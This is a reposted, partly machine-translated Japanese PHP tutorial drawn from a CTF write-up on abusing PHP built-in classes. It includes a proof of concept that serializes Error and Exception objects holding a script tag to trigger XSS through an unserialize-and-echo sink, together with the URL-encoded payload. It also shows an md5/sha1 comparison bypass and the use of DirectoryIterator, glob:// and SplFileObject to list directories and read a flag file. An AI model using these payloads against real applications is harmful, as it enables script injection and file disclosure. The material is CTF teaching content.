ホームページ >バックエンド開発 >PHPチュートリアル >PHPネイティブクラスの概要共有

PHPネイティブクラスの概要共有

WBOY
WBOY転載
2023-01-23 07:30:013747ブラウズ

この記事ではPHPに関する知識を紹介しており、主にネイティブクラスに関する内容を紹介していますので、一緒に見ていきましょう。

PHPネイティブクラスの概要共有

今回の HEctf は、コードがわずか 3 行のネイティブの質問です。案の定、コードが短くなればなるほど、ctf は難しくなります。

まず、php 組み込みクラスを横断するスクリプトを投稿します

 <?php $classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            &#39;__destruct&#39;,
            &#39;__toString&#39;,
            &#39;__wakeup&#39;,
            &#39;__call&#39;,
            &#39;__callStatic&#39;,
            &#39;__get&#39;,
            &#39;__set&#39;,
            &#39;__isset&#39;,
            &#39;__unset&#39;,
            &#39;__invoke&#39;,
            &#39;__set_state&#39;    // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
        ))) {
            print $class . &#39;::&#39; . $method . "\n";
        }
    }
    
}

結果:

PHPネイティブクラスの概要共有

整理:

Exception
ErrorException
Error
ParseError
TypeError
ArgumentCountError
 ArithmeticError
DivisionByZeroError
ClosedGeneratorException
DateTime
DateTimeZone
DatePeriod
DirectoryIterator
wakeup JsonException
wakeup LogicException
BadFunctionCallException
InvalidArgumentException
 OutOfRangeException
RuntimeException
OverflowException
RangeException
UnderflowException
GlobIterator
SplFixedArray
ReflectionException
ReflectionFunctionAbstract
ReflectionParameter
ReflectionMethod
ReflectionClass
ReflectionClassConstant
ReflectionZendExtension
AssertionError
DOMException
PDOException
SimpleXMLElement
mysqli_sql_exception
PharException
PharData
PharFileInfo

おおよそこれらのクラスですが、ctf コンテストでは次のクラスがよく使用されます

  • Error
  • Exception
  • SoapClient
  • DirectoryIterator
  • SimpleXMLElement

エラー/例外 XSS の組み込みクラス

error xss

#__toString メソッドは、エラーまたは例外 入力したパラメータを含む文字列形式。xss コードの文字列を構築し、それをエコー レンダリングと組み合わせると、反映された xss 脆弱性がトリガーされます

demo:

<?php $a = unserialize($_GET[&#39;a&#39;]);echo $a;

poc

<?php $a = new Error("<script>alert('hacker')");
$b = serialize($a);
echo urlencode($b);

文字列の出力

O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3
Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22E%3A%5Cphp%5Cfunction%5Ctest2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D复制代码

成功したポップアップ ウィンドウ

PHPネイティブクラスの概要共有

例外 xss

ExceptionYes すべてのユーザーレベルの例外の基本クラス。 (PHP 5、7、8)

<?php $a = new Exception("<script>alert('hacker')");
$b = serialize($a);
echo urlencode($b);
?>

は、error と同じポップ構造を持っているようです (例外は php5 と 7 に適用され、エラーは php7 にのみ適用されます)。エラーを例外に置き換えるだけです。それでも正常にポップアップ表示されます

PHPネイティブクラスの概要共有

エラー/例外組み込みクラスはハッシュ比較をバイパスします

これら 2 つのクラスを構築することで、md5() と sha1 ( )関数。エラーと例外の両方に、_tostring という重要なメソッドがあります。これは、例外オブジェクトを文字列に変換するために使用されます。

同様に、md5() 関数と sha1() 関数がオブジェクトを処理するときに、__tostring メソッドが自動的に呼び出されます。

<?php $a = new Error("payload",1);$b=new Error("payload",2);
echo $a."<br>";
echo $b."<br>";

出力結果

PHPネイティブクラスの概要共有それがわかります。ペイロード次のパラメータは出力結果に影響を与えません。これにより、ハッシュ関数をバイパスできます。

<?php $a=new Error("payload",1);$b=new Error("payload",2);
if ($a!=$b){
    echo &#39;$a不等于$b&#39;."\n
";}
if (md5($a)===md5($b)) {
    echo "md5值相等\n";
}
if (sha1($a)===sha1($b)){
    echo "sha1值相等\n";
}

PHPネイティブクラスの概要共有

soapclient

soap の定義

Simple Object Access Protocol の意味

ここで言われる理由HTTP と XML という広く使われている 2 つのプロトコルに基づいているため、業界ではこの技術を「新しい技術を発明しない初めての技術」と呼んでいます。Web サービスにアクセスするため、オブジェクトと呼ばれます。サービスはオブジェクトであるため、サービスには関連する属性と呼び出し動作が必要です。これらの属性と動作は WSDL を通じて記述されます。 「シンプル オブジェクト アクセス プロトコル」という観点で理解すると、「シンプル オブジェクト アクセス プロトコル」よりも簡単です。

PHP の組み込みクラス SoapClient は、Web サービスへのアクセスに特化して使用されるクラスであり、SOAP を提供できます。 PHP クライアントが Web サービスにアクセスするための -based プロトコル。

このクラスのコンストラクターは次のとおりです:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 最初のパラメーターは、wsdl モードかどうかを示すために使用され、値を null に設定すると、非 wsdl モードを示します。
  • 2 番目のパラメータは配列です。wsdl モードの場合、このパラメータはオプションです。非 wsdl モードの場合、location および uri オプションを設定する必要があります。location はリクエストの宛先となる SOAP です。サーバーの URL、uri は SOAP サービスのターゲット名前空間です。

php ネイティブ ファイル操作クラス

ディレクトリ トラバーサル

DirectoryIterator

__toString ファイル名を文字列形式で取得します (PHP 5、7、8)

例:

<?php $a = new DirectoryIterator("/");
foreach($a as $b){
    echo($b.&#39;</br>');
}
echo $a;

PHPネイティブクラスの概要共有指定されたディレクトリ内の最初にソートされたファイルを出力しますファイル名

この組み込みクラスの __toString メソッドを glob またはファイル プロトコルと組み合わせて使用​​し、ディレクトリ トラバーサルを実現します

<?php $a = new DirectoryIterator("glob://*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}

PHPネイティブクラスの概要共有

使用foreach 関数 すべてのファイルを走査します

<?php $a = new DirectoryIterator("glob:///*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}

PHPネイティブクラスの概要共有

スラッシュをもう 1 つ、ディレクトリ内で前方に 1 つ追加します。

FilesystemIterator クラス

FilesystemIterator クラスは DirectoryIterator クラスと同一であり、ファイル システム ディレクトリの内容を表示するための単純なインターフェイスを提供します。このクラスのコンストラクターは、指定されたディレクトリのイテレーターを作成します。

このクラスの使用方法は、基本的に DirectoryIterator クラスと同じです。

<?php $a = new FilesystemIterator("glob:///*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}

PHPネイティブクラスの概要共有

文件读取

SplFileObject::__toString — 以字符串形式返回文件的路径

<?php $a = new SplFileObject(&#39;flag.txt&#39;);
echo $a;

PHPネイティブクラスの概要共有输出多行

<?php $a = new SplFileObject(&#39;flag.txt&#39;);
foreach($a as $f){
    echo($f);
}

PHPネイティブクラスの概要共有

推荐学习:《PHP视频教程

以上がPHPネイティブクラスの概要共有の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はjuejin.imで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。